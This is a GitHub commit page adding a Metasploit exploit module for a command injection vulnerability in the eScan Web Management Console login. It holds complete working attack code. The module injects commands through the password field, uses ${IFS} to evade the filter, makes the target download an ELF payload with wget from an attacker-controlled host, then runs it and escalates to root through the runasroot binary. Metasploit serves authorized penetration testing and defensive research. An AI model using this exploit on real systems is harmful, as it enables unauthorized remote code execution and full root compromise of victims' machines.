Skip to content

Commit b69662f

Browse files
committed
Land rapid7#3233 - eScan Password Command Injection
2 parents e54a348 + 0c8f5e9 commit b69662f

File tree

1 file changed

+167
-0
lines changed

1 file changed

+167
-0
lines changed
Lines changed: 167 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,167 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Remote::HttpServer::HTML
13+
include Msf::Exploit::EXE
14+
include Msf::Exploit::FileDropper
15+
16+
def initialize(info={})
17+
super(update_info(info,
18+
'Name' => "eScan Web Management Console Command Injection",
19+
'Description' => %q{
20+
This module exploits a command injection vulnerability found in the eScan Web Management
21+
Console. The vulnerability exists while processing CheckPass login requests. An attacker
22+
with a valid username can use a malformed password to execute arbitrary commands. With
23+
mwconf privileges, the runasroot utility can be abused to get root privileges. This module
24+
has been tested successfully on eScan 5.5-2 on Ubuntu 12.04.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' =>
28+
[
29+
'Joxean Koret', # Vulnerability Discovery and PoC
30+
'juan vazquez' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'URL', 'http://www.joxeankoret.com/download/breaking_av_software-pdf.tar.gz' ] # Syscan slides by Joxean
35+
],
36+
'Payload' =>
37+
{
38+
'BadChars' => "", # Real bad chars when injecting: "|&)(!><'\"` ", cause of it we're avoiding ARCH_CMD
39+
'DisableNops' => true
40+
},
41+
'Arch' => ARCH_X86,
42+
'Platform' => 'linux',
43+
'Privileged' => true,
44+
'Stance' => Msf::Exploit::Stance::Aggressive,
45+
'Targets' =>
46+
[
47+
['eScan 5.5-2 / Linux', {}],
48+
],
49+
'DisclosureDate' => "Apr 04 2014",
50+
'DefaultTarget' => 0))
51+
52+
register_options(
53+
[
54+
Opt::RPORT(10080),
55+
OptString.new('USERNAME', [ true, 'A valid eScan username' ]),
56+
OptString.new('TARGETURI', [true, 'The base path to the eScan Web Administration console', '/']),
57+
OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
58+
OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the payload request', 10]),
59+
OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
60+
OptString.new('RUNASROOT', [ true, 'Path to the runasroot binary', '/opt/MicroWorld/sbin/runasroot' ]),
61+
], self.class)
62+
end
63+
64+
65+
def check
66+
res = send_request_cgi({
67+
'method' => 'GET',
68+
'uri' => normalize_uri(target_uri.path.to_s, 'index.php')
69+
})
70+
71+
if res and res.code == 200 and res.body =~ /eScan WebAdmin/
72+
return Exploit::CheckCode::Detected
73+
end
74+
75+
Exploit::CheckCode::Unknown
76+
end
77+
78+
def cmd_exec(session, cmd)
79+
case session.type
80+
when /meterpreter/
81+
print_warning("#{peer} - Use a shell payload in order to get root!")
82+
when /shell/
83+
o = session.shell_command_token(cmd)
84+
o.chomp! if o
85+
end
86+
return "" if o.nil?
87+
return o
88+
end
89+
90+
# Escalating privileges here because runasroot only can't be executed by
91+
# mwconf uid (196).
92+
def on_new_session(session)
93+
cmd_exec(session, "#{datastore['RUNASROOT'].shellescape} /bin/sh")
94+
super
95+
end
96+
97+
def primer
98+
@payload_url = get_uri
99+
wget_payload
100+
end
101+
102+
def on_request_uri(cli, request)
103+
print_status("Request: #{request.uri}")
104+
if request.uri =~ /#{Regexp.escape(get_resource)}/
105+
print_status("Sending payload...")
106+
send_response(cli, @pl)
107+
end
108+
end
109+
110+
def exploit
111+
@pl = generate_payload_exe
112+
if @pl.blank?
113+
fail_with(Failure::BadConfig, "#{peer} - Failed to generate the ELF, select a native payload")
114+
end
115+
@payload_url = ""
116+
117+
if datastore['EXTURL'].blank?
118+
begin
119+
Timeout.timeout(datastore['HTTPDELAY']) {super}
120+
rescue Timeout::Error
121+
end
122+
exec_payload
123+
else
124+
@payload_url = datastore['EXTURL']
125+
wget_payload
126+
exec_payload
127+
end
128+
end
129+
130+
# we execute in this way, instead of an ARCH_CMD
131+
# payload because real badchars are: |&)(!><'"`[space]
132+
def wget_payload
133+
@dropped_elf = rand_text_alpha(rand(5) + 3)
134+
command = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"
135+
136+
print_status("#{peer} - Downloading the payload to the target machine...")
137+
res = exec_command(command)
138+
if res && res.code == 302 && res.headers['Location'] && res.headers['Location'] =~ /index\.php\?err_msg=password/
139+
register_files_for_cleanup(File.join(datastore['WRITABLEDIR'], @dropped_elf))
140+
else
141+
fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
142+
end
143+
end
144+
145+
def exec_payload
146+
command = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)};"
147+
command << File.join(datastore['WRITABLEDIR'], @dropped_elf)
148+
149+
print_status("#{peer} - Executing the payload...")
150+
exec_command(command, 1)
151+
end
152+
153+
def exec_command(command, timeout=20)
154+
send_request_cgi({
155+
'method' => 'POST',
156+
'uri' => normalize_uri(target_uri.path.to_s, 'login.php'),
157+
'vars_post' => {
158+
'uname' => datastore['USERNAME'],
159+
'pass' => ";#{command}",
160+
'product_name' => 'escan',
161+
'language' => 'English',
162+
'login' => 'Login'
163+
}
164+
}, timeout)
165+
end
166+
167+
end

0 commit comments

Comments
 (0)